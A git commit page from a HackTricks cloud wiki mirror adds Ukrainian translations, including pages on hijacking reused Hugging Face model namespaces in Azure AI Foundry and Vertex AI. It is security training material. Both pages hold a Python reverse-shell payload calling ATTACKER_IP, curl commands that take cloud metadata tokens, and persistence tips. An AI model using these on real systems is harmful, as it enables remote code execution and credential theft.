mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -1,3 +1,9 @@
|
||||
# Az - Пост Експлуатація
|
||||
# Az - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
az-azure-ai-foundry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+94
@@ -0,0 +1,94 @@
|
||||
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Сценарій
|
||||
|
||||
- Azure AI Foundry Model Catalog містить багато моделей Hugging Face (HF) для розгортання в один клік.
|
||||
- Ідентифікатори моделей HF мають формат Author/ModelName. Якщо HF author/org видаляється, будь-хто може повторно зареєструвати цього автора й опублікувати модель з тим самим ModelName за legacy path.
|
||||
- Pipelines і catalogs, що витягують лише за іменем (без commit pinning/integrity), будуть резолвитися на attacker-controlled repos. Коли Azure розгортає модель, loader code може виконатися в середовищі endpoint, надаючи RCE з правами цього endpoint.
|
||||
|
||||
Типові випадки takeover у HF:
|
||||
- Ownership deletion: Old path 404 until takeover.
|
||||
- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
|
||||
|
||||
## Виявлення повторно використовуваних просторів імен (HF)
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
|
||||
# Check model path
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## Повний ланцюг атаки проти Azure AI Foundry
|
||||
|
||||
1) У Model Catalog знайдіть HF models, у яких оригінальних авторів видалили або передали (old author removed) на HF.
|
||||
2) Повторно зареєструйте покинутого автора на HF і відтворіть ModelName.
|
||||
3) Опублікуйте шкідливий repo з loader code, який виконується при import або вимагає trust_remote_code=True.
|
||||
4) Розгорніть legacy Author/ModelName з Azure AI Foundry. Платформа підтягує attacker repo; loader виконується всередині Azure endpoint container/VM, що призводить до RCE з правами endpoint.
|
||||
|
||||
Приклад фрагмента payload, що виконується при import (лише для демонстрації):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
|
||||
|
||||
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Примітки
|
||||
- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True.
|
||||
- Доступ зазвичай відповідає дозволам managed identity/service principal кінцевої точки. Розглядайте це як початкову точку доступу для отримання даних та латерального переміщення в межах Azure.
|
||||
|
||||
## Поради після експлуатації (Azure Endpoint)
|
||||
|
||||
- Перелічіть змінні середовища та MSI endpoints для токенів:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- Перевірте змонтоване сховище, артефакти моделей і доступні служби Azure за допомогою отриманого токена.
|
||||
- Розгляньте можливість персистенції, залишаючи отруєні артефакти моделей, якщо платформа повторно завантажує їх з HF.
|
||||
|
||||
## Захисні рекомендації для користувачів Azure AI Foundry
|
||||
|
||||
- Закріплюйте моделі за конкретним комітом при завантаженні з HF:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Реплікуйте перевірені HF моделі до довіреного внутрішнього реєстру і розгортайте звідти.
|
||||
- Безперервно скануйте codebases і defaults/docstrings/notebooks на предмет жорстко прописаних Author/ModelName, які видалено/перенесено; оновлюйте або pin.
|
||||
- Перевіряйте існування автора та походження моделі перед розгортанням.
|
||||
|
||||
## Евристики розпізнавання (HTTP)
|
||||
|
||||
- Видалений автор: сторінка автора повертає 404; legacy model path повертає 404 до моменту takeover.
|
||||
- Перенесена модель: legacy path повертає 307 на нового автора, поки старий автор існує; якщо старий автор пізніше буде видалений і перереєстрований, legacy path слугуватиме attacker content.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Перехресні посилання
|
||||
|
||||
- Див. ширшу методологію та зауваження щодо ланцюга постачання:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,3 +1,9 @@
|
||||
# GCP - Постексплуатація
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Сценарій
|
||||
|
||||
- Vertex AI Model Garden дозволяє безпосереднє розгортання багатьох Hugging Face (HF) моделей.
|
||||
- HF ідентифікатори моделей мають формат Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути повторно зареєстроване будь-ким. Атакуючі можуть створити репозиторій з тим самим ModelName за тим самим старим шляхом.
|
||||
- Пайплайни, SDKs або хмарні каталоги, які отримують модель лише за іменем (без pinning/integrity), завантажать репозиторій, контрольований атакуючим. Коли модель розгортається, код завантажувача з цього репозиторію може виконатися всередині контейнера кінцевої точки Vertex AI, що дає RCE з правами кінцевої точки.
|
||||
|
||||
Два поширені випадки takeover на HF:
|
||||
- Ownership deletion: старий шлях повертає 404, поки хтось не зареєструє автора і не опублікує той самий ModelName.
|
||||
- Ownership transfer: HF повертає 307 redirect з старого Author/ModelName до нового автора, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований атакуючим, ланцюжок редиректів буде порвано і репозиторій атакуючого обслуговуватиме застарілий шлях.
|
||||
|
||||
## Визначення повторно використовуваних просторів імен (HF)
|
||||
|
||||
- Старий автор видалений: сторінка автора повертає 404; шлях моделі може повертати 404, поки не відбудеться takeover.
|
||||
- Передані моделі: старий шлях моделі повертає 307 до нового власника, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований, застарілий шлях буде вказувати на репозиторій атакуючого.
|
||||
|
||||
Швидкі перевірки за допомогою curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Повний сценарій атаки проти Vertex AI
|
||||
|
||||
1) Виявити повторно використовувані простори імен моделей, які Model Garden відображає як deployable:
|
||||
- Знайти HF models у Vertex AI Model Garden, які досі показуються як “verified deployable”.
|
||||
- Перевірити на HF, чи оригінальний автор видалений або чи модель була передана і старий автор пізніше видалений.
|
||||
|
||||
2) Повторно зареєструвати видаленого автора на HF та відтворити той самий ModelName.
|
||||
|
||||
3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
|
||||
- Побічні ефекти в __init__.py репо
|
||||
- Custom modeling_*.py або processing code, на які посилається config/auto_map
|
||||
- Code paths that require trust_remote_code=True in Transformers pipelines
|
||||
|
||||
4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
|
||||
|
||||
5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Примітки
|
||||
- Реальні loaders відрізняються. Багато інтеграцій Vertex AI HF клонує та імпортує модулі з repo, на які посилається конфіг моделі (наприклад, auto_map), що може спричинити виконання коду. Деякі випадки вимагають trust_remote_code=True.
|
||||
- Зазвичай endpoint запускається в окремому контейнері з обмеженою сферою, але це дійсна початкова опора для доступу до даних та lateral movement у GCP.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Once code is running inside the endpoint container, consider:
|
||||
- Перелічити environment variables та metadata для credentials/tokens
|
||||
- Отримати доступ до attached storage або змонтованих model artifacts
|
||||
- Взаємодіяти з Google APIs через service account identity (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistence у model artifact якщо платформа re-pulls repo
|
||||
|
||||
Перелічте instance metadata, якщо доступно (залежить від контейнера):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Захисні рекомендації для користувачів Vertex AI
|
||||
|
||||
- Закріплюйте моделі за commit у HF loaders, щоб запобігти тихому заміщенню:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Зберігайте перевірені HF models у довіреному внутрішньому artifact store/registry і розгортайте їх звідти.
|
||||
- Постійно скануйте репозиторії коду та конфіги на наявність жорстко закодованих Author/ModelName, які були видалені/перенесені; оновлюйте до нових namespaces або фіксуйте (pin) на коміті.
|
||||
- У Model Garden перевіряйте походження моделі та існування автора перед розгортанням.
|
||||
|
||||
## Евристики виявлення (HTTP)
|
||||
|
||||
- Видалений автор: сторінка автора повертає 404; старий шлях до моделі повертає 404 до моменту takeover.
|
||||
- Перенесена модель: старий шлях дає 307 на нового автора, поки старий автор існує; якщо старого автора згодом видалять і зареєструють заново, старий шлях може віддавати контент від атакуючого.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Перехресні посилання
|
||||
|
||||
- Див. ширшу методологію та зауваження щодо ланцюга постачання:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,44 +1,44 @@
|
||||
# Pentesting Cloud Methodology
|
||||
# Pentesting Хмарна методологія
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Basic Methodology
|
||||
## Базова методологія
|
||||
|
||||
Кожен хмарний сервіс має свої особливості, але загалом є кілька **загальних речей, які повинен перевірити** пентестер під час тестування хмарного середовища:
|
||||
Кожна хмара має свої особливості, але загалом є кілька **загальних речей, які pentester повинен перевірити**, тестуючи хмарне середовище:
|
||||
|
||||
- **Перевірки стандартів**
|
||||
- Це допоможе вам **зрозуміти розмір** середовища та **використовувані сервіси**
|
||||
- Це також дозволить вам знайти деякі **швидкі неправильні налаштування**, оскільки більшість з цих тестів можна виконати за допомогою **автоматизованих інструментів**
|
||||
- **Перевірки бенчмарку**
|
||||
- Це допоможе вам **зрозуміти розміри** середовища та **використовувані сервіси**
|
||||
- Також дозволить знайти деякі **швидкі misconfigurations**, оскільки більшість цих перевірок можна виконати за допомогою **automated tools**
|
||||
- **Перерахування сервісів**
|
||||
- Ви, ймовірно, не знайдете багато інших неправильних налаштувань тут, якщо ви правильно виконали перевірки стандартів, але ви можете знайти деякі, які не були враховані в тестах стандартів.
|
||||
- Це дозволить вам дізнатися, **що саме використовується** в хмарному середовищі
|
||||
- Це дуже допоможе на наступних етапах
|
||||
- **Перевірка відкритих активів**
|
||||
- Це можна зробити під час попереднього розділу, вам потрібно **виявити все, що потенційно відкрито** в Інтернеті і як до цього можна отримати доступ.
|
||||
- Тут я маю на увазі **вручну відкриту інфраструктуру**, таку як інстанси з веб-сторінками або інші порти, що відкриті, а також інші **управляємі хмарні сервіси, які можуть бути налаштовані** на відкриття (такі як бази даних або бакети)
|
||||
- Потім ви повинні перевірити, **чи може цей ресурс бути відкритим чи ні** (конфіденційна інформація? вразливості? неправильні налаштування в відкритому сервісі?)
|
||||
- Швидше за все ви не знайдете набагато більше misconfigurations тут, якщо правильно виконали бенчмарк-перевірки, але можете знайти ті, які не шукали під час бенчмарку.
|
||||
- Це дозволить вам знати **що саме використовується** в хмарному середовищі
|
||||
- Це дуже допоможе на наступних кроках
|
||||
- **Перевірка відкритих ресурсів**
|
||||
- Це можна зробити під час попереднього розділу — потрібно **знайти все, що потенційно доступне з Інтернету** і як до цього можна отримати доступ.
|
||||
- Тут маю на увазі **вручну виставлену інфраструктуру** — наприклад інстанси з веб-сторінками або з відкритими портами, а також інші **керовані хмарні сервіси, які можна налаштувати як відкриті** (наприклад DBs або buckets)
|
||||
- Далі потрібно перевірити **чи може цей ресурс бути доступним** (конфіденційна інформація? вразливості? misconfigurations у відкритому сервісі?)
|
||||
- **Перевірка дозволів**
|
||||
- Тут ви повинні **виявити всі дозволи кожної ролі/користувача** всередині хмари і як вони використовуються
|
||||
- Занадто **багато високопривілейованих** (контроль всього) акаунтів? Згенеровані ключі не використовуються?... Більшість цих перевірок вже повинні були бути виконані в тестах стандартів
|
||||
- Якщо клієнт використовує OpenID або SAML або іншу **федерацію**, вам, можливо, потрібно буде запитати у них додаткову **інформацію** про **те, як призначається кожна роль** (не те саме, що роль адміністратора призначена 1 користувачу або 100)
|
||||
- **Недостатньо просто знайти**, які користувачі мають **адміністративні** дозволи "\*:\*". Є багато **інших дозволів**, які, залежно від використовуваних сервісів, можуть бути дуже **чутливими**.
|
||||
- Більше того, є **потенційні шляхи підвищення привілеїв**, які можна використовувати, зловживаючи дозволами. Усі ці речі повинні бути враховані, і **якомога більше шляхів підвищення привілеїв** повинні бути зафіксовані.
|
||||
- Тут потрібно **виявити всі дозволи кожної ролі/користувача** всередині хмари і як вони використовуються
|
||||
- Занадто **багато облікових записів з високими привілеями** (контролюють усе)? Згенеровані ключі не використовуються?... Більшість цих перевірок уже має бути виконано під час бенчмарку
|
||||
- Якщо клієнт використовує OpenID або SAML або іншу **federation**, можливо, вам доведеться попросити додаткову **інформацію** про **як призначається кожна роль** (це не те саме, коли роль admin призначена 1 користувачу чи 100)
|
||||
- Недостатньо просто знайти, які користувачі мають права admin "\*:\*". Є багато **інших дозволів**, які залежно від використаних сервісів можуть бути дуже **чутливими**.
|
||||
- Більше того, існують **потенційні privesc** шляхи, які можна використати, зловживаючи дозволами. Усі ці речі треба врахувати і **задокументувати якомога більше privesc шляхів**.
|
||||
- **Перевірка інтеграцій**
|
||||
- Існує висока ймовірність, що **інтеграції з іншими хмарами або SaaS** використовуються всередині хмарного середовища.
|
||||
- Для **інтеграцій хмари, яку ви перевіряєте**, з іншою платформою ви повинні повідомити, **хто має доступ до (зловживати) цією інтеграцією** і ви повинні запитати, **наскільки чутливим** є виконуване діяння.\
|
||||
Наприклад, хто може записувати в бакет AWS, з якого GCP отримує дані (запитайте, наскільки чутливим є це діяння в GCP при обробці цих даних).
|
||||
- Для **інтеграцій всередині хмари, яку ви перевіряєте**, з зовнішніх платформ, ви повинні запитати, **хто має зовнішній доступ до (зловживати) цією інтеграцією** і перевірити, як ці дані використовуються.\
|
||||
Наприклад, якщо сервіс використовує Docker-образ, розміщений у GCR, ви повинні запитати, хто має доступ до його зміни і яку чутливу інформацію та доступ отримає цей образ при виконанні всередині хмари AWS.
|
||||
- Дуже ймовірно, що всередині хмарного середовища використовуються **інтеграції з іншими хмарами або SaaS**.
|
||||
- Для **інтеграцій між хмарою, яку ви аудитуєте, та іншими платформами** ви повинні повідомити **хто має доступ (для зловживання) цією інтеграцією** і запитати **наскільки чутлива дія**, яка виконується.\
|
||||
Наприклад, хто може записувати в AWS bucket, з якого GCP отримує дані (запитайте, наскільки чутлива дія в GCP при обробці цих даних).
|
||||
- Для **інтеграцій всередині хмари, яку ви аудитуєте, з зовнішніх платформ**, ви повинні запитати **хто має зовнішній доступ (для зловживання) цією інтеграцією** і перевірити, як ці дані використовуються.\
|
||||
Наприклад, якщо сервіс використовує Docker image, розміщений у GCR, потрібно дізнатися, хто має доступ змінювати його і яку чутливу інформацію та доступ отримає цей image при виконанні всередині AWS cloud.
|
||||
|
||||
## Multi-Cloud tools
|
||||
## Інструменти для Multi-Cloud
|
||||
|
||||
Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки установки та посилання будуть вказані в цьому розділі.
|
||||
Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки встановлення та посилання будуть наведені в цьому розділі.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
Інструмент для **виявлення поганих налаштувань і шляхів підвищення привілеїв у хмарах і між хмарами/SaaS.**
|
||||
Інструмент для **виявлення неправильних конфігурацій і privesc шляхів у хмарах та між хмарами/SaaS.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Він підтримує **AWS, GCP & Azure**. Перевірте, як налаштувати кожного постачальника в [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
Він підтримує **AWS, GCP & Azure**. Перегляньте, як налаштувати кожного провайдера на [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -91,7 +91,7 @@ prowler <provider> --list-services
|
||||
AWS, Azure, Github, Google, Oracle, Alibaba
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Встановлення" }}
|
||||
{{#tab name="Install" }}
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/aquasecurity/cloudsploit.git
|
||||
@@ -146,7 +146,7 @@ done
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
Завантажте та встановіть Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Або використовуйте Brew:
|
||||
Завантажте та встановіть Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Або використайте Brew:
|
||||
```
|
||||
brew tap turbot/tap
|
||||
brew install steampipe
|
||||
@@ -170,7 +170,7 @@ steampipe check all
|
||||
|
||||
<summary>Перевірити всі проекти</summary>
|
||||
|
||||
Щоб перевірити всі проекти, вам потрібно згенерувати файл `gcp.spc`, вказуючи всі проекти для тестування. Ви можете просто слідувати вказівкам з наступного скрипту.
|
||||
Щоб перевірити всі проекти, потрібно згенерувати файл `gcp.spc`, що вказує всі проекти для тестування. Ви можете просто слідувати вказівкам з наступного скрипту
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Щоб перевірити **інші GCP інсайти** (корисні для перерахунку сервісів), використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Щоб переглянути **інші GCP insights** (корисно для перерахування сервісів) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Щоб перевірити код Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
Щоб переглянути Terraform GCP код: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
Більше плагінів GCP для Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Більше GCP плагінів для Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
|
||||
steampipe dashboard # To see results in browser
|
||||
steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
Щоб перевірити код Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
Щоб перевірити код Terraform для AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
Більше плагінів AWS для Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
Більше AWS-плагінів для Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
|
||||
|
||||
AWS, GCP, Azure, DigitalOcean.\
|
||||
Вимагає python2.7 і виглядає так, ніби не підтримується.
|
||||
Потребує python2.7 і виглядає непідтримуваним.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus має _**Аудит хмарної інфраструктури**_ сканування, що підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Деякі додаткові налаштування в **Azure** потрібні для отримання **Client Id**.
|
||||
Nessus має скан _**Audit Cloud Infrastructure**_, який підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Для отримання **Client Id** потрібні додаткові налаштування в **Azure**.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist є **інструментом для багатохмарного отримання активів** (імен хостів, IP-адрес) від постачальників хмарних послуг.
|
||||
Cloudlist — це **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -263,12 +263,12 @@ cloudlist -config </path/to/config>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### [**картографія**](https://github.com/lyft/cartography)
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Картографія - це інструмент на Python, який консолідує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі Neo4j.
|
||||
Cartography — це інструмент на Python, який консолідує інфраструктурні активи та зв’язки між ними у зручному графовому поданні на основі Neo4j database.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Встановлення" }}
|
||||
{{#tab name="Install" }}
|
||||
```bash
|
||||
# Installation
|
||||
docker image pull ghcr.io/lyft/cartography
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase збирає активи та відносини з сервісів і систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше, в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j.
|
||||
Starbase збирає активи та зв'язки зі служб і систем, включаючи хмарну інфраструктуру, SaaS applications, контролі безпеки та інше, у зручне графове представлення, яке підтримується базою даних Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Виявлення найбільш привілейованих користувачів у відсканованому середовищі AWS або Azure, включаючи AWS Shadow Admins. Він використовує PowerShell.
|
||||
Виявляє найбільш привілейованих користувачів у просканованому середовищі AWS або Azure, включно з AWS Shadow Admins. Використовує powershell.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,15 +372,15 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
Інструмент для знаходження інфраструктури компанії (цілі), файлів та додатків на провідних хмарних платформах (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
Інструмент для пошуку інфраструктури компанії (цілі), файлів та застосунків у провідних хмарних провайдерів (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox - це інструмент для знаходження експлуатованих шляхів атаки в хмарній інфраструктурі (в даний час підтримуються лише AWS та Azure, GCP незабаром).
|
||||
- Це інструмент для перерахунку, який призначений для доповнення ручного pentesting.
|
||||
- Він не створює і не модифікує жодні дані в хмарному середовищі.
|
||||
- CloudFox — інструмент для виявлення exploitable attack paths у хмарній інфраструктурі (наразі підтримуються лише AWS & Azure, підтримка GCP у планах).
|
||||
- Це інструмент для enumeration, який призначений доповнювати ручне pentesting.
|
||||
- Він не створює і не змінює жодних даних у хмарному середовищі.
|
||||
|
||||
### Більше списків інструментів безпеки хмари
|
||||
### More lists of cloud security tools
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -412,10 +412,11 @@ azure-security/
|
||||
|
||||
### Attack Graph
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює "графік атаки" ресурсів у підписці Azure. Це дозволяє червоним командам та pentester'ам візуалізувати поверхню атаки та можливості для переходу в межах орендаря, а також значно покращує вашу оборону для швидкої орієнтації та пріоритизації роботи з реагування на інциденти.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює «attack graph» ресурсів в підписці Azure. Він дозволяє red teams і pentesters візуалізувати attack surface та можливості для pivot у межах tenant і значно допомагає вашим захисникам швидко орієнтуватися та розставляти пріоритети в роботі з incident response.
|
||||
|
||||
### Office365
|
||||
|
||||
Вам потрібен **Global Admin** або принаймні **Global Admin Reader** (але зверніть увагу, що Global Admin Reader має деякі обмеження). Однак ці обмеження з'являються в деяких PS модулях і можуть бути обійдені, отримуючи доступ до функцій **через веб-додаток**.
|
||||
Потрібен **Global Admin** або принаймні **Global Admin Reader** (зауважте, що **Global Admin Reader** трохи обмежений). Однак ці обмеження проявляються в деяких PS-модулях і можуть бути обійдені шляхом доступу до функцій **через вебзастосунок**.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user